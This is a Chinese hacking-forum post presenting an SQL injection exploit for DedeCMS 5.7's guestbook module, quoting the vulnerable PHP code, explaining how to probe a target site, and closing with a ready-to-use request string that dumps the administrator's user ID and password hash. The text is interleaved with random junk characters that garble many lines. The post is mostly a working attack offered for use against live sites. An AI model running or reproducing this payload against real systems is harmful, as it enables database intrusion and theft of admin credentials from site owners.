找回密码
 立即注册
查看: 4795|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
+ W& x$ F. k; l) o# k; `& X' x& h& Z8 w& X' L! E$ w
漏洞文件edit.inc.php具体代码:6 f5 X$ B* j4 F* x% A
$ F, F) y4 k0 O$ U' \/ V/ F
< ?php  
+ q& A! l! [* G+ h$ c! H+ D$ x: m
- K$ ~; E4 L- W. Xif(!defined('DEDEINC')) exit('Request Error!');  ! H! ^3 \5 A# k7 s5 A! i% c

1 x3 T6 |+ `6 E8 N* P7 N# q( H   % H0 u1 n) F; G0 \6 p+ d8 h

/ B* E3 }9 o4 [. i1 C; m: S# U6 i& B7 \if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
' I+ a. K- }. }. }8 u2 h- V$ h7 Y6 J
else $GUEST_BOOK_POS = "guestbook.php";  
1 N& M0 U' t0 I% h7 j9 Y; W% i3 l* n3 c7 y4 I
   
, z1 l  `. n9 F8 C4 h
8 @: [; H  t. K/ X1 C$id = intval($id);  . ^/ z; ~. H/ f9 t4 ]) \/ L* R
& q( a* B  G" M- A1 z7 _" s
if(empty($job)) $job='view';  ! t  U) D* [6 i0 ~. A

* {* b4 }: y4 C+ g! t   " K7 A+ ~+ y# X% w2 p/ k" ]; P) H
( g  ?. x" K5 e* B# O( X: X
if($job=='del' && $g_isadmin)  
8 [  J6 S9 a9 ~- a& w( B8 |. l$ w# P6 z- T" r1 J- k
{  
6 T4 t+ f5 T; L( \" P9 H3 U; x6 M+ y& s# K: \
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  ' F% D6 ~2 \5 {/ r/ K  G( N
# z/ C: r' `1 N3 m( F1 h
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  6 [. G- ?+ j1 T  q- v
* R- h( }$ l/ p7 A5 T
exit();  
4 Q1 C* ^; c3 h) Z  N+ B2 n6 g2 I6 ?6 S2 g) X8 W- p2 Y
}  0 ~% O* U& ]* I2 F' U3 N

! H( s& p, G$ l: ^5 E" B6 Gelse if($job=='check' && $g_isadmin)  
* G9 L1 w, \" T$ Q% l) |$ Y
+ Z- w2 c  E3 U8 C{  
; Z  G- |4 [4 a) B7 ]
# |: r# `$ Z" P$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
7 h3 a9 L. |, G( |; n
" p8 N# D% K1 a# R) a; h& wShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);  
1 h2 H* }% w! x( f" Z& l# E! x
% n# @/ o0 U+ }2 t" S7 @4 [exit();  
/ {1 d+ Z! J& ~* f' o7 F* z5 O; w$ h* M: J1 G0 A4 C7 G; Y
}  1 s. l. }2 R8 J

, Y9 e% `: B' \. welse if($job=='editok')  
: \# `' B9 ~- b& M6 \
3 A! w+ r7 x1 L8 M/ r# ]5 m- k{  
& n( g8 l1 ]2 R) Q& e# C% q* N* C, H- @, N9 y: X/ D3 t
$remsg = trim($remsg);  ; i" y2 Q5 c  ^
- t1 q: L8 g3 J: o8 s4 K7 }. R4 T
if($remsg!='')  % M: H; Y' i- {* D
: \6 y& j0 Y4 H$ U
{  
- n7 G( O- q0 Y4 ~$ ^% ^' V/ w; o  @/ o
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
. p1 @0 o8 J5 I: p
4 L3 z6 q6 ]' g; s! Jif($g_isadmin)  / _7 ?' M; |! s$ T' z1 b; d

7 p4 L0 X3 h6 k. z* l; s; h. n% b{  % C: F6 ]  |0 R

% ?( _( [0 j2 t! X7 e2 w' N$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
+ ?; }+ }+ H$ p/ E, H' Q5 \
' \% ]+ L/ ^6 t2 ?//$remsg <br /><font color=red>管理员回复:</font> }  
) o3 I8 ]9 q4 r0 t+ d8 {( C
1 c5 v# k7 h4 _/ `% u" c! L* ?else
& B2 i2 r/ m6 T) ~& D0 j+ E& E) ?5 D2 s1 j
{  
/ R1 Q$ J( t- o! P0 V9 d$ }4 x; b2 p
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  % f8 q% }5 j$ _' U- O

" n( s  C4 f0 R" j5 ]" v" l$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  
3 L6 v  l3 E, T  P
9 T' q4 N/ Y# O$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  & o8 \7 U0 G2 ]- v
. m* r. x; H  Q6 b
$msg = $oldmsg.$remsg;  
0 r* Y; U7 Z+ ~, i. M, U$ H& W4 q8 l5 \) b# b% N' E
}  $ |, j& o& k- `" \5 i( F

1 a3 }/ `, Q' \3 }5 E' u}  # u: ^" t+ J4 f2 c+ S- ?

  ]% ]  r; [$ X//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  
7 w0 I& g6 D6 P) [5 Q6 p" E
% `1 X- I  S- o$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  ) i, B: v/ _. o, k

0 o9 o$ B0 p9 a# h, y! nShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
& u8 _6 |0 i, Z; i: Y( U) `  o1 }$ d
exit();  " q; {& ^- s7 v# m

% }, J# T7 w4 Q: l- q5 a}  + X' h$ f: N7 g' {) }6 S! W3 I

+ A# w# N% c# i//home:www.errs.cc    x  Y1 u* T$ i5 {
( K; l* z8 M5 M, e9 P7 U
if($g_isadmin)  
" \; S6 d" z$ T: E5 D3 A) v
" y$ g, h- V( W7 b0 {{  
) \  q: {% {) }! o) Y) U5 n! s+ {9 @. p& G! \
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");    g* Z5 H6 ^6 A4 b( x3 Z3 h
6 I3 }. ^7 P7 u! G. F" R# j
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  7 }6 G& D+ d; U; d8 E6 w! b& W

# A* x" h1 j$ t8 I& P. o& Y}  " F# x" b1 U% f' H( G4 P& G
& h8 q# W' c+ d, x
else
' n+ y) G& m, O  t* g, o; z
3 _$ {6 f) N. B/ M{  
- {3 m( Y( o7 \. d5 L& s
5 w/ N! n7 N3 q# D, p$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
# U" S8 [* a; S# _/ q4 Z, s7 ~2 M5 B7 L1 m, K1 b; G
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
3 F. b+ ~, f, J& f1 t4 r* }2 z: ?3 I! \8 V+ l% V5 \/ V! h
} 漏洞成功需要条件:% w* j& \  l* P
1. php magic_quotes_gpc=off. Y& W7 n7 W( P. `# |/ u
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
4 H# T2 q1 K4 b7 k
# o/ `3 h3 V: u$ k" q- ?怎么判断是否存在漏洞:# d. l8 h. n& p+ ?6 t* T
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
" G' t8 ?6 g" }, L8 c5 v然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID6 n& a- F8 Y0 O. I8 U
访问:4 p, m' Q0 _$ V' Y

. Z3 ?$ ~- U/ `) k* C3 |/ Nwww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了" B; \) G% h8 ~9 |
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证+ b1 X5 N' e' t/ J* L  l7 }8 M2 F
- B2 H, L& L* S8 S! Q
) h& o3 R# p* P' S" R
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
9 h: Q4 \5 M! R  D* I6 Y3 Z/ {) @0 ]如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。# T; o* V! T# n; }
那么再次访问4 U" o* n2 o' p9 `7 h  y- S0 _: {6 r

8 s- y9 x8 ]0 Qwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().& |- q+ F4 I5 C' l( ^3 B2 X3 o
5 a5 S9 `3 t) g
大概利用就是这样,大家有兴趣的多研究下!!4 x: o$ ^* [! E4 t& L) s. y

+ R; _# Q* ]; s# B& }  X5 A最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
6 i) U8 L. b2 S- T* K
+ C  ?8 s5 l7 D: U! t  a8 W# k: Xview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表